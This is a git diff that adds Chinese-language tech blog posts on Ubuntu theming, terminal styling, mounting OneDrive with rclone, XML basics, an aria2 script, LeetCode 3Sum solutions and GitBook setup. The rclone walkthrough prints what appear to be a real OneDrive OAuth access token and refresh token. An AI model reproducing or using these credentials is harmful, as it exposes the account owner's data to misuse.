**3.1 安装 unity-tweak-tool**
|
||||||
|
|
||||||
|
```
|
||||||
|
sudo apt-get install unity-tweak-tool
|
||||||
|
```
|
||||||
|
|
||||||
|
**3.2 安装 Flatabulous 主题**
|
||||||
|
|
||||||
|
```
|
||||||
|
# Flatabulous 主题
|
||||||
|
sudo add-apt-repository ppa:noobslab/themes
|
||||||
|
sudo apt-get update
|
||||||
|
sudo apt-get install flatabulous-theme
|
||||||
|
|
||||||
|
# 安装该主题配套的图标
|
||||||
|
sudo add-apt-repository ppa:noobslab/icons
|
||||||
|
sudo apt-get update
|
||||||
|
sudo apt-get install ultra-flat-icons
|
||||||
|
```
|
||||||
|
|
||||||
|
安装完成后,打开 unity-tweak-tool ,点击主题,修改为 Flatabulous;然后点击图标,修改为 Ultra-flat
|
||||||
|
|
||||||
|
**3.3 安装 Arc Theme 主题**
|
||||||
|
|
||||||
|
```
|
||||||
|
# 安装Arc Theme
|
||||||
|
sudo add-apt-repository ppa:noobslab/themes
|
||||||
|
sudo apt-get update
|
||||||
|
sudo apt-get install arc-theme
|
||||||
|
# 安装该主题配套的图标
|
||||||
|
sudo add-apt-repository ppa:noobslab/icons
|
||||||
|
sudo apt-get update
|
||||||
|
sudo apt-get install arc-icons
|
||||||
|
```
|
||||||
|
|
||||||
|
**3.2 安装 MAC OS 主题**
|
||||||
|
|
||||||
|
```
|
||||||
|
sudo add-apt-repository ppa:noobslab/macbuntu
|
||||||
|
|
||||||
|
sudo apt-get update
|
||||||
|
|
||||||
|
sudo apt-get install macbuntu-os-icons-lts-v7
|
||||||
|
|
||||||
|
sudo apt-get install macbuntu-os-ithemes-lts-v7
|
||||||
|
|
||||||
|
cd && wget -O Mac.po http://drive.noobslab.com/data/Mac/change-name-on-panel/mac.po
|
||||||
|
|
||||||
|
cd /usr/share/locale/en/LC_MESSAGES; sudo msgfmt -o unity.mo ~/Mac.po;rm ~/Mac.po;cd
|
||||||
|
|
||||||
|
wget -O launcher_bfb.png http://drive.noobslab.com/data/Mac/launcher-logo/apple/launcher_bfb.png
|
||||||
|
sudo mv launcher_bfb.png /usr/share/unity/icons/
|
||||||
|
gsettings set com.canonical.unity-greeter draw-grid false;exit
|
||||||
|
|
||||||
|
sudo add-apt-repository ppa:noobslab/themes
|
||||||
|
sudo apt-get update
|
||||||
|
sudo apt-get install macbuntu-os-bscreen-lts-v7
|
||||||
|
```
|
||||||
|
|
||||||
|
安装完成后,打开 unity-tweak-tool 软件,修改主题和图标,方法同上。
|
||||||
|
|
||||||
|
**4.安装Google**
|
||||||
|
|
||||||
|
sudo wget http://www.linuxidc.com/files/repo/google-chrome.list -P /etc/apt/sources.list.d/
|
||||||
|
|
||||||
|
wget -q -O - https://dl.google.com/linux/linux_signing_key.pub | sudo apt-key add -
|
||||||
|
|
||||||
|
sudo apt-get update
|
||||||
|
|
||||||
|
sudo apt-get install google-chrome-stable
|
||||||
|
|
||||||
|
/usr/bin/google-chrome-stable
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
**5.为浏览器安装flash**
|
||||||
|
|
||||||
|
1.去官网下载flash插件
|
||||||
|
|
||||||
|
2.解压
|
||||||
|
|
||||||
|
3.进入下载文件根目录
|
||||||
|
|
||||||
|
4.拷贝到本地firefox目录
|
||||||
|
|
||||||
|
sudo cp libflashplayer.so /usr/lib/firefox/browser/plugins
|
||||||
|
|
||||||
|
sudo cp -r usr/* /usr
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
**6.安装网易云音乐**
|
||||||
|
|
||||||
|
1.去官网下载包:[http://music.163.com/#/download](http://music.163.com/#/download)
|
||||||
|
|
||||||
|
2.安装:
|
||||||
|
|
||||||
|
sudo dpkg -i netease-cloud-music_1.1.0_amd64_ubuntu16.04.deb
|
||||||
|
|
||||||
|
sudo apt-get -f install
|
||||||
|
|
||||||
|
sudo dpkg -i netease-cloud-music_1.1.0_amd64_ubuntu16.04.deb
|
||||||
|
|
||||||
|
不知道为什么这样安装的网易云音乐竟然没反应,我按照网上的教程各种试,添加了各种依赖,仍然不行,所以我老老实实的安装1.00版本
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
wget http://s1.music.126.net/download/pc/netease-cloud-music_1.0.0_amd64_ubuntu16.04.deb
|
||||||
|
|
||||||
|
sudo dpkg -i netease-cloud-music_1.0.0_amd64_ubuntu16.04.deb
|
||||||
|
|
||||||
|
sudo apt-get -y install -f #安装依赖
|
||||||
|
|
||||||
|
netease-cloud-music #启动网易云音乐
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
大功告成!
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
|
@ -0,0 +1,37 @@
|
||||||
|
# 原创
|
||||||
|
: Ubuntu终端美化
|
||||||
|
|
||||||
|
# Ubuntu终端美化
|
||||||
|
|
||||||
|
## 终端美化
|
||||||
|
|
||||||
|
### 终端样式
|
||||||
|
|
||||||
|
`sudo gedit ~/.bashrc`
|
||||||
|
|
||||||
|
```
|
||||||
|
#PS1="\[\033[0;32m\]\A \[\033[0;31m\]\u\[\033[0;34m\]@\[\033[0;35m\]\h\[\033[0;34m\]:\[\033[00;36m\]\W\[\033[0;33m\] $\[\033[0m\]"
|
||||||
|
|
||||||
|
#PS1="\[\033[0;32m\]┌┼─┼─ \[\033[0m\033[0;32m\]\u\[\033[0m\] @ \[\033[0;36m\]\h\[\033[0m\033[0;32m\] ─┤├─ \[\033[0m\]\t \d\[\033[0;32m\] ─┤├─ \[\033[0;31m\]\w\[\033[0;32m\] ─┤ \n\[\033[0;32m\]└┼─\[\033[0m\033[0;32m\]\$\[\033[0m\033[0;32m\]─┤▶\[\033[0m\]"
|
||||||
|
|
||||||
|
PS1="\[\e[0;1m\]┌─( \[\e[31;1m\]\u\[\e[0;1m\] ) – ( \[\e[36;1m\]\w\[\e[0;1m\] )\n└──┤ \[\e[0m\]"
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
### Termina
|
||||||
|
|
||||||
|
`sudo apt-get install terminator`
|
||||||
|
|
||||||
|
快捷键:
|
||||||
|
|
||||||
|
```
|
||||||
|
Ctrl+Shift+E 垂直分割窗口
|
||||||
|
Ctrl+Shift+O 水平分割窗口
|
||||||
|
F11 全屏
|
||||||
|
Ctrl+Shift+C 复制
|
||||||
|
Ctrl+Shift+V 粘贴
|
||||||
|
Ctrl+Shift+N 或者 Ctrl+Tab 在分割的各窗口之间切换
|
||||||
|
Ctrl+Shift+X 将分割的某一个窗口放大至全屏使用
|
||||||
|
Ctrl+Shift+Z 从放大至全屏的某一窗口回到多窗格界面
|
||||||
|
|
||||||
|
```
|
|
@ -0,0 +1,210 @@
|
||||||
|
# 原创
|
||||||
|
: Windows上挂载OneDrive为本地硬盘
|
||||||
|
|
||||||
|
# Windows上挂载OneDrive为本地硬盘
|
||||||
|
|
||||||
|
>
|
||||||
|
本文最新更新地址:[可能需要f…q](https://telegra.ph/Windows%E4%B8%8B%E7%94%A8rclone%E6%8C%82%E8%BD%BDOneDrive%E4%B8%BA%E6%9C%AC%E5%9C%B0%E7%A1%AC%E7%9B%98-01-03)
|
||||||
|
|
||||||
|
|
||||||
|
### 文章目录
|
||||||
|
|
||||||
|
## 1、rclone下载地址:
|
||||||
|
|
||||||
|
官网下载:[https://rclone.org/downloads/](https://rclone.org/downloads/)
|
||||||
|
|
||||||
|
`GitHub`下载:[https://github.com/ncw/rclone/releases/tag/v1.45](https://github.com/ncw/rclone/releases/tag/v1.45)
|
||||||
|
|
||||||
|
下载完成后在解压到你喜欢的文件夹下,例如我的:
|
||||||
|
|
||||||
|
另外Windows使用rclone还需要另一个依赖工具`winfsp`,下载地址:[http://www.secfs.net/winfsp/download/](http://www.secfs.net/winfsp/download/)
|
||||||
|
|
||||||
|
## 2、配置环境变量
|
||||||
|
|
||||||
|
<img alt="在这里插入图片描述" src="https://img-blog.csdnimg.cn/20181214195631596.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2RzMTk5OTE5OTk=,size_16,color_FFFFFF,t_70"/><br/> 双击`Path`,把刚才解压到的文件路径新加到`Path`,比喻我的`C:\Software\Tools\rclone-v1.45-windows-amd64`:
|
||||||
|
|
||||||
|
## 3、检查rclone是否配置成功
|
||||||
|
|
||||||
|
按`win`+`X`,然后按`A`,输入`rclone --version`,如果出现下面的输出则安装成功,否则重复上面步骤。
|
||||||
|
|
||||||
|
## 4、开始配置rclone
|
||||||
|
|
||||||
|
```
|
||||||
|
C:\WINDOWS\system32>rclone config
|
||||||
|
2018/12/14 18:07:53 NOTICE: Config file "C:\\Users\\Alien\\.config\\rclone\\rclone.conf" not found - using defaults
|
||||||
|
No remotes found - make a new one
|
||||||
|
n) New remote
|
||||||
|
s) Set configuration password
|
||||||
|
q) Quit config
|
||||||
|
n/s/q> n
|
||||||
|
name> OneDrive
|
||||||
|
Type of storage to configure.
|
||||||
|
Enter a string value. Press Enter for the default ("").
|
||||||
|
Choose a number from below, or type in your own value
|
||||||
|
1 / A stackable unification remote, which can appear to merge the contents of several remotes
|
||||||
|
\ "union"
|
||||||
|
2 / Alias for a existing remote
|
||||||
|
\ "alias"
|
||||||
|
3 / Amazon Drive
|
||||||
|
\ "amazon cloud drive"
|
||||||
|
4 / Amazon S3 Compliant Storage Providers (AWS, Ceph, Dreamhost, IBM COS, Minio)
|
||||||
|
\ "s3"
|
||||||
|
5 / Backblaze B2
|
||||||
|
\ "b2"
|
||||||
|
6 / Box
|
||||||
|
\ "box"
|
||||||
|
7 / Cache a remote
|
||||||
|
\ "cache"
|
||||||
|
8 / Dropbox
|
||||||
|
\ "dropbox"
|
||||||
|
9 / Encrypt/Decrypt a remote
|
||||||
|
\ "crypt"
|
||||||
|
10 / FTP Connection
|
||||||
|
\ "ftp"
|
||||||
|
11 / Google Cloud Storage (this is not Google Drive)
|
||||||
|
\ "google cloud storage"
|
||||||
|
12 / Google Drive
|
||||||
|
\ "drive"
|
||||||
|
13 / Hubic
|
||||||
|
\ "hubic"
|
||||||
|
14 / JottaCloud
|
||||||
|
\ "jottacloud"
|
||||||
|
15 / Local Disk
|
||||||
|
\ "local"
|
||||||
|
16 / Mega
|
||||||
|
\ "mega"
|
||||||
|
17 / Microsoft Azure Blob Storage
|
||||||
|
\ "azureblob"
|
||||||
|
18 / Microsoft OneDrive
|
||||||
|
\ "onedrive"
|
||||||
|
19 / OpenDrive
|
||||||
|
\ "opendrive"
|
||||||
|
20 / Openstack Swift (Rackspace Cloud Files, Memset Memstore, OVH)
|
||||||
|
\ "swift"
|
||||||
|
21 / Pcloud
|
||||||
|
\ "pcloud"
|
||||||
|
22 / QingCloud Object Storage
|
||||||
|
\ "qingstor"
|
||||||
|
23 / SSH/SFTP Connection
|
||||||
|
\ "sftp"
|
||||||
|
24 / Webdav
|
||||||
|
\ "webdav"
|
||||||
|
25 / Yandex Disk
|
||||||
|
\ "yandex"
|
||||||
|
26 / http Connection
|
||||||
|
\ "http"
|
||||||
|
Storage> 18
|
||||||
|
** See help for onedrive backend at: https://rclone.org/onedrive/ **
|
||||||
|
|
||||||
|
Microsoft App Client Id
|
||||||
|
Leave blank normally.
|
||||||
|
Enter a string value. Press Enter for the default ("").
|
||||||
|
client_id>
|
||||||
|
Microsoft App Client Secret
|
||||||
|
Leave blank normally.
|
||||||
|
Enter a string value. Press Enter for the default ("").
|
||||||
|
client_secret>
|
||||||
|
Edit advanced config? (y/n)
|
||||||
|
y) Yes
|
||||||
|
n) No
|
||||||
|
y/n> n
|
||||||
|
Remote config
|
||||||
|
Use auto config?
|
||||||
|
* Say Y if not sure
|
||||||
|
* Say N if you are working on a remote or headless machine
|
||||||
|
y) Yes
|
||||||
|
n) No
|
||||||
|
y/n> y
|
||||||
|
If your browser doesn't open automatically go to the following link: http://127.0.0.1:53682/auth
|
||||||
|
Log in and authorize rclone for access
|
||||||
|
Waiting for code...
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
此时会浏览器会弹出登录Microsoft账号页面,输入账号密码登陆,点`是`
|
||||||
|
|
||||||
|
如果授权成功的话浏览器会出现这个页面
|
||||||
|
|
||||||
|
此时终端会提示你继续操作像这样:
|
||||||
|
|
||||||
|
因为我是拿个人账号写教程的,所以就选`1`
|
||||||
|
|
||||||
|
```
|
||||||
|
If your browser doesn't open automatically go to the following link: http://127.0.0.1:53682/auth
|
||||||
|
Log in and authorize rclone for access
|
||||||
|
Waiting for code...
|
||||||
|
Got code
|
||||||
|
Choose a number from below, or type in an existing value
|
||||||
|
1 / OneDrive Personal or Business
|
||||||
|
\ "onedrive"
|
||||||
|
2 / Root Sharepoint site
|
||||||
|
\ "sharepoint"
|
||||||
|
3 / Type in driveID
|
||||||
|
\ "driveid"
|
||||||
|
4 / Type in SiteID
|
||||||
|
\ "siteid"
|
||||||
|
5 / Search a Sharepoint site
|
||||||
|
\ "search"
|
||||||
|
Your choice> 1
|
||||||
|
Found 1 drives, please select the one you want to use:
|
||||||
|
0: (personal) id=28acee48ba0a80c9
|
||||||
|
Chose drive to use:> 0
|
||||||
|
Found drive 'root' of type 'personal', URL: https://onedrive.live.com/?cid=28acee48ba0a80c9
|
||||||
|
Is that okay?
|
||||||
|
y) Yes
|
||||||
|
n) No
|
||||||
|
y/n> y
|
||||||
|
--------------------
|
||||||
|
[OneDrive]
|
||||||
|
type = onedrive
|
||||||
|
token = {"access_token":"EwB4A8l74t6GzbtsBBeBUYAAZr+nsbvDJvpTZnIGTclACszh9PmiR6klQruRt9oBU5AD5ReAZLULrKBbFjgQzmUJHTW1Qg9EI2zCoj+/XMlp4M0V2sraXxwnDZvP/xHtLgMGIF3PLOjlSU0Thh3KCdA4/RIkAALoI7x5ycwXQLuBJ+D/iX3QwJFhVO4or7ogiaVUF0I3oF/A7dOEBJljUwHnBhYeyjOEpCRtoOXIrKl08afJbKtjVDXricLu4aXAIfBYibI7wffxQNxC2AWb5Z6TQ6BQUpUVs2Q48MUYCsDRshbyNhWxZOVlhtjOr3jRGVfDBb6iPuglwVaozSF68RRQbxc+L3QZ7aC4DZgAACLr0PZo0+g2xSAJr0YPcN9jCXJJvW9rHx9mt39W0nLlOUDzHTgi9mNNeAQmxfhFwlMxOr23MMW+Ux2fv7lg1uVdPdMsqsqsqq sqqsSIPsRlNSD66FN/YwFHJ58NVZif+2CO38vFMgA5OCR0xV/AZ3OP4qhLt6eCGR4/AZ2L99UltF7pSNIGP6gkgdlyurEdsLZa/KhApGapSGNyKhhR9Eiwhdbnfksn5flspsFkjWEbu4IJ7I8v7SpNXvTcIErhc4fIR3Kdk+55owCbtpGjzU435RmTZDs0LqU09DLAobhPXAB0MiansnU5vsrlLvudbYm5n9To549gTkPfwCBCjPkr+Xlk8jeJ2prlDyksaXlX0EdukBbA+x0FBaEHmaxExK7w19DjmXXj8MCs1RF3dawbegyLwSnq2+V9M/sqUxVO4uHG+Pw1Bds7L+ysAM+Tcu9BBb7t8/XEpaHzYF5XO8Q9pCOhhcUO8fsI8aA1aupBSbVf0W/AyKsrasUTZiYLgFsz6lYDgF0t5XyD/YGmTHwgutPW32HfjlQ4Nd8g+be+Lllmyyywve28Ynyy7ZitKJkQ4OKRWcBwYyOikJNvG/RZYUXEy6XJtyDJqyaEwE7PVriEPGzPtmT49hixjamUbM42/UTMPxIKTFSJUpQwMgkzQU6hgqo6gPRrbC8XSR5qquRdvcSgfDTs+FaUgssCsxExPzUKqGFYitI9Wh16MjhteeUfLVOruJapGcSRgOOXmwE76qf+bSfN80jrZ+mIH0C","token_type":"Bearer","refresh_token":"MCdzaJTxbvjx0gqccalX3SwZ84Q1D*Hoc2plXP2lNLLyYXeseIDzIzXF9GSKcl35vabYNK1PlNbHkn7zJULI6TEHJkvsMj3vMGG9xODHnZhhoD6r74yYxBC9G72RhIwo2n*qA!rvP7yhGShwH8RC1DxmMhUtmfBO2kpXvkAONhNG8nN9zWaGQDpCIu2!rLrpqH0Bi0amMocXotNGEFHrASLP583x2fpX5Da3VY*AFM18uIpsvg7i0aTj*02e1fAplBUmMzDoo8gd*xqZYYe7eQWaAv1SYuMBFw5TsdYONN5y!ewQcrv9*hhxoLI8xK7VY8VSwG8!9e21N6yLYFFHsTYZMMUOcF0LFEJmo1b29xRkShfuXXk6mxajTCn3IUbOKKP9EW","expiry":"2018-12-14T19:12:44.8939629+08:00"}
|
||||||
|
drive_id = 28acce58ba0a81c9
|
||||||
|
drive_type = personal
|
||||||
|
--------------------
|
||||||
|
y) Yes this is OK
|
||||||
|
e) Edit this remote
|
||||||
|
d) Delete this remote
|
||||||
|
y/e/d> y
|
||||||
|
Current remotes:
|
||||||
|
|
||||||
|
Name Type
|
||||||
|
==== ====
|
||||||
|
OneDrive onedrive
|
||||||
|
|
||||||
|
e) Edit existing remote
|
||||||
|
n) New remote
|
||||||
|
d) Delete remote
|
||||||
|
r) Rename remote
|
||||||
|
c) Copy remote
|
||||||
|
s) Set configuration password
|
||||||
|
q) Quit config
|
||||||
|
e/n/d/r/c/s/q>
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
到这里已经把`OneDrive`配置好了,选择`q`结束配置,
|
||||||
|
|
||||||
|
>
|
||||||
|
注:配置文件在当前用户家目录
|
||||||
|
|
||||||
|
|
||||||
|
## 5、挂载OneDrive为本地硬盘
|
||||||
|
|
||||||
|
```
|
||||||
|
rclone mount OneDrive:/ H: --cache-dir E:\OneDrive --vfs-cache-mode writes &
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
如果出现:`The service rclone has been started.`则说明挂载成功(看到我很可怜了吧,只有15G的空间,求大佬送号?)。
|
||||||
|
|
||||||
|
效果图:
|
||||||
|
|
||||||
|
好了,就是这样,更多`rclone`相关的知识自行`Google`。
|
||||||
|
|
||||||
|
>
|
||||||
|
最后说一点,执行上面这条命令退出终端后台挂载程序也会退出,达不到我们的目的,所以在命令后面加一个`&`符号就行了,这样退出终端后台程序照样运行,像这样:
|
||||||
|
|
||||||
|
|
||||||
|
其他盘如`GoogleDrive`、`DropBox`等等也可以通过这种方式挂载,这样使得云端文件就像本地文件一样,只要你宽带够大,可以与本地硬盘一样无差别体验。
|
||||||
|
|
||||||
|
## 补充
|
|
@ -0,0 +1,10 @@
|
||||||
|
# 原创
|
||||||
|
: XML语言基础
|
||||||
|
|
||||||
|
# XML语言基础
|
||||||
|
1. #XML声明,定义版本(1.0)和使用编码(ISO-8859-1 = Latin-1/西欧字符集)1. <?xml version="1.0" encoding="ISO-8859-1"?>1. #文档**根元素** 1. <note>1. #接下来四行描述根的4个子元素1. <to>George</to>1. <from>John</from>1. <heading>Reminder</heading>1. <body>Don't forget the meeting!</body>1. #定义**根元素的结尾**1. </note>| &lt;| <| 小于
|
||||||
|
| &gt;| >| 大于
|
||||||
|
| &amp;| &| 和号
|
||||||
|
| &apos;| '| 单引号
|
||||||
|
| &quot;| "| 双引号
|
||||||
|
1. 名称可以含字母、数字以及其他的字符1. 名称不能以数字或者标点符号开始1. 名称不能以字符 “xml”(或者 XML、Xml)开始1. 名称不能包含空格1. 最好使用<book_title>这种命名方式1. 属性无法包含多重的值(元素可以)1. 属性无法描述树结构(元素可以)1. 属性不易扩展(为未来的变化)1. 属性难以阅读和维护
|
|
@ -0,0 +1,41 @@
|
||||||
|
# 原创
|
||||||
|
: aria2简单下载脚本
|
||||||
|
|
||||||
|
# aria2简单下载脚本
|
||||||
|
|
||||||
|
保存为 `bcloud`,修改权限 `chmod 755 bcloud` 就可以用了。
|
||||||
|
|
||||||
|
```
|
||||||
|
#!/bin/bash
|
||||||
|
# bcloud: bcloud downloud tool, rely on aria2.
|
||||||
|
# author: ds19991999
|
||||||
|
# date: 2018-09-26 16:35
|
||||||
|
|
||||||
|
# rely on:
|
||||||
|
# 1.baidu-dl: http://kks.me/aMrPx !important
|
||||||
|
# 2.aria2:
|
||||||
|
# sudo add-apt-repository ppa:t-tujikawa/ppa
|
||||||
|
# sudo apt-get update
|
||||||
|
# sudo apt-get install aria2
|
||||||
|
|
||||||
|
# usage:run bcloud at terminal.
|
||||||
|
|
||||||
|
DIR=/home/$USER
|
||||||
|
|
||||||
|
echo "-->Please enter urls for download."
|
||||||
|
echo -n "-->URL:"
|
||||||
|
read downloud
|
||||||
|
echo
|
||||||
|
|
||||||
|
echo "-->Please enter the save path(default:$DIR)."
|
||||||
|
echo -n "-->PATH:"
|
||||||
|
read dir
|
||||||
|
dir=${dir:-$DIR}
|
||||||
|
|
||||||
|
echo "-->The file will be downlouded at $dir"
|
||||||
|
echo
|
||||||
|
echo "-->Downlouding..."
|
||||||
|
|
||||||
|
aria2c --dir=$dir --max-connection-per-server=16 --max-concurrent-downloads=16 --split=16 --continue=true $downloud
|
||||||
|
|
||||||
|
```
|
|
@ -0,0 +1,177 @@
|
||||||
|
# 原创
|
||||||
|
: leetcode15-三数之和
|
||||||
|
|
||||||
|
# leetcode15-三数之和
|
||||||
|
|
||||||
|
>
|
||||||
|
题目详见:[https://leetcode-cn.com/problems/3sum/description/](https://leetcode-cn.com/problems/3sum/description/)
|
||||||
|
|
||||||
|
|
||||||
|
>
|
||||||
|
给定一个包含 n 个整数的数组 nums,判断 nums 中是否存在三个元素 a,b,c ,使得 a + b + c = 0 ?找出所有满足条件且不重复的三元组。
|
||||||
|
|
||||||
|
|
||||||
|
注意:答案中不可以包含重复的三元组。
|
||||||
|
|
||||||
|
```
|
||||||
|
例如, 给定数组 nums = [-1, 0, 1, 2, -1, -4],
|
||||||
|
|
||||||
|
满足要求的三元组集合为:
|
||||||
|
[
|
||||||
|
[-1, 0, 1],
|
||||||
|
[-1, -1, 2]
|
||||||
|
]
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
这道题我遇到好几次了,B站后台开发工程师笔试题就考了这个。今天就来总结一下解决方案。<br/> 这道题并不难,正常人的第一反应肯定是三个循环,再简单不过了,可是时间复杂度是不是有点大。。。提交也不让通过是吧。<br/> 首先写好边界条件,数组小于三个元素就不满足条件:
|
||||||
|
|
||||||
|
```
|
||||||
|
result = []
|
||||||
|
nums_len = len(nums)
|
||||||
|
if nums_len < 3:
|
||||||
|
return result
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
注意我们用的是Python语言,所以可以直接**先用内建函数`sort()`排序**,**方便操作。然后可以用一个for循环,两个指针遍历**,时间复杂度也就是
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
o
|
||||||
|
|
||||||
|
|
||||||
|
(
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
n
|
||||||
|
|
||||||
|
|
||||||
|
2
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
)
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
o(n^2)
|
||||||
|
|
||||||
|
|
||||||
|
o(n2),与之前的三循环减小了不少。了解了这些差不多就可以实现代码了。
|
||||||
|
|
||||||
|
```
|
||||||
|
class Solution(object):
|
||||||
|
def threeSum(self, nums):
|
||||||
|
"""
|
||||||
|
:type nums: List[int]
|
||||||
|
:rtype: List[List[int]]
|
||||||
|
"""
|
||||||
|
result = list()
|
||||||
|
nums_len = len(nums)
|
||||||
|
if nums_len < 3:
|
||||||
|
return result
|
||||||
|
l, r, dif = 0, 0, 0
|
||||||
|
nums.sort()
|
||||||
|
for i in range(nums_len - 2):
|
||||||
|
if nums[i] > 0:
|
||||||
|
break
|
||||||
|
if i > 0 and nums[i - 1] == nums[i]:
|
||||||
|
continue
|
||||||
|
|
||||||
|
l = i + 1
|
||||||
|
r = nums_len - 1
|
||||||
|
dif = -nums[i]
|
||||||
|
while l < r:
|
||||||
|
if nums[l] + nums[r] == dif:
|
||||||
|
result.append([nums[l], nums[r], nums[i]])
|
||||||
|
# 这两个while完全可以不要
|
||||||
|
while l < r and nums[l] == nums[l + 1]:
|
||||||
|
l += 1
|
||||||
|
while l < r and nums[r] == nums[r - 1]:
|
||||||
|
r -= 1
|
||||||
|
l += 1
|
||||||
|
r -= 1
|
||||||
|
elif nums[l] + nums[r] < dif:
|
||||||
|
l += 1
|
||||||
|
else:
|
||||||
|
r -= 1
|
||||||
|
|
||||||
|
return result
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
另外,leetcode16题也是差不多这个意思:
|
||||||
|
|
||||||
|
>
|
||||||
|
例如,给定数组 nums = [-1,2,1,-4], 和 target = 1.与 target 最接近的三个数的和为 2. (-1 + 2 + 1 = 2).
|
||||||
|
|
||||||
|
|
||||||
|
思路一模一样,一个for,加上两个指针,时间复杂度为
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
O
|
||||||
|
|
||||||
|
|
||||||
|
(
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
n
|
||||||
|
|
||||||
|
|
||||||
|
2
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
)
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
O(n^2)
|
||||||
|
|
||||||
|
|
||||||
|
O(n2)
|
||||||
|
|
||||||
|
```
|
||||||
|
class Solution(object):
|
||||||
|
def threeSumClosest(self, nums, target):
|
||||||
|
"""
|
||||||
|
:type nums: List[int]
|
||||||
|
:type target: int
|
||||||
|
:rtype: int
|
||||||
|
"""
|
||||||
|
# n = len(nums)
|
||||||
|
# if n<3:return None
|
||||||
|
# res = sum(nums[0:3])
|
||||||
|
# diff = abs(res - target)
|
||||||
|
|
||||||
|
# for i in range(0,n-2):
|
||||||
|
# for j in range(i+1,n-1):
|
||||||
|
# for k in range(j+1,n):
|
||||||
|
# tmp = nums[i]+nums[j]+nums[k]
|
||||||
|
# if diff > abs(tmp - target):
|
||||||
|
# diff = abs(tmp - target)
|
||||||
|
# res = tmp
|
||||||
|
# return res
|
||||||
|
n = len(nums)
|
||||||
|
if n<3:return None
|
||||||
|
nums.sort()
|
||||||
|
res = sum(nums[0:3])
|
||||||
|
diff = abs(res - target)
|
||||||
|
|
||||||
|
for i in xrange(len(nums)-2):
|
||||||
|
low = i+1
|
||||||
|
high = len(nums)-1
|
||||||
|
while low<high:
|
||||||
|
tmp = nums[i]+nums[low]+nums[high]
|
||||||
|
if abs(res-target) > abs(tmp-target):res = tmp
|
||||||
|
elif target < tmp: high -= 1
|
||||||
|
else: low += 1
|
||||||
|
return res
|
||||||
|
|
||||||
|
```
|
File diff suppressed because it is too large
Load Diff
|
@ -0,0 +1,254 @@
|
||||||
|
# 原创
|
||||||
|
: ✍GitBook高级配置
|
||||||
|
|
||||||
|
# ✍GitBook高级配置
|
||||||
|
|
||||||
|
>
|
||||||
|
先留链接防丢失:
|
||||||
|
- [gitbook-use](https://github.com/zhangjikai/gitbook-use/tree/master)- [使用GitBook打造自己的出版平台](https://blog.csdn.net/ds19991999/article/details/81275458)
|
||||||
|
|
||||||
|
|
||||||
|
## 安装?
|
||||||
|
|
||||||
|
## 常用命令?
|
||||||
|
|
||||||
|
>
|
||||||
|
- `gitbook-cli` 和 `gitbook` 是两个软件;- `gitbook-cli` 会将下载的 gitbook 的不同版本放到 `~/.gitbook`中, 可以通过设置`GITBOOK_DIR`环境变量来指定另外的文件夹.
|
||||||
|
|
||||||
|
|
||||||
|
## 目录结构?
|
||||||
|
|
||||||
|
```
|
||||||
|
.
|
||||||
|
├── book.json
|
||||||
|
├── README.md
|
||||||
|
├── SUMMARY.md
|
||||||
|
├── chapter-1/
|
||||||
|
| ├── README.md
|
||||||
|
| └── something.md
|
||||||
|
└── chapter-2/
|
||||||
|
├── README.md
|
||||||
|
└── something.md
|
||||||
|
```
|
||||||
|
|
||||||
|
### Summary?
|
||||||
|
|
||||||
|
**示例1:**以后会经常用到的
|
||||||
|
|
||||||
|
```
|
||||||
|
# Summary
|
||||||
|
* [Introduction](README.md)-------------------------------1.1
|
||||||
|
----
|
||||||
|
### [Part I](folder1/README.md)
|
||||||
|
|
||||||
|
* [Writing is nice](folder1/writing.md)-------------------2.1.
|
||||||
|
* [GitBook is nice](folder1/gitbook.md)-------------------2.2.
|
||||||
|
|
||||||
|
### Part II
|
||||||
|
|
||||||
|
* [We love feedback](folder2/feedback_please.md)----------3.1.
|
||||||
|
* [Better tools for authors](folder2/better_tools.md)-----3.2.
|
||||||
|
|
||||||
|
----
|
||||||
|
|
||||||
|
* [Last part without title](title.md)---------------------4.1.
|
||||||
|
```
|
||||||
|
|
||||||
|
**示例2:**以后会用的但不常用的
|
||||||
|
|
||||||
|
```
|
||||||
|
# Summary
|
||||||
|
|
||||||
|
### Part I(part1/README.md)---------------------------1.
|
||||||
|
|
||||||
|
* [section1](part1/section1/README.md)----------------1.1.
|
||||||
|
* [Writing is nice](part1/section1/writing.md)----1.1.1
|
||||||
|
* [GitBook is nice](part1/section1/gitbook.md)----1.1.2
|
||||||
|
* [We love feedback](part1/title1.md)-----------------1.2
|
||||||
|
* [Better tools for authors](part1/title2.md)---------1.3
|
||||||
|
```
|
||||||
|
|
||||||
|
**示例3**:最简版本
|
||||||
|
|
||||||
|
```
|
||||||
|
# Summary
|
||||||
|
### Part I
|
||||||
|
* [Introduction](README.md)
|
||||||
|
* [Writing is nice](writing.md)
|
||||||
|
* [GitBook is nice](gitbook.md)
|
||||||
|
|
||||||
|
### Part II
|
||||||
|
|
||||||
|
* [We love feedback](feedback_please.md)
|
||||||
|
* [Better tools for authors](better_tools.md)
|
||||||
|
```
|
||||||
|
|
||||||
|
### Glossary?
|
||||||
|
|
||||||
|
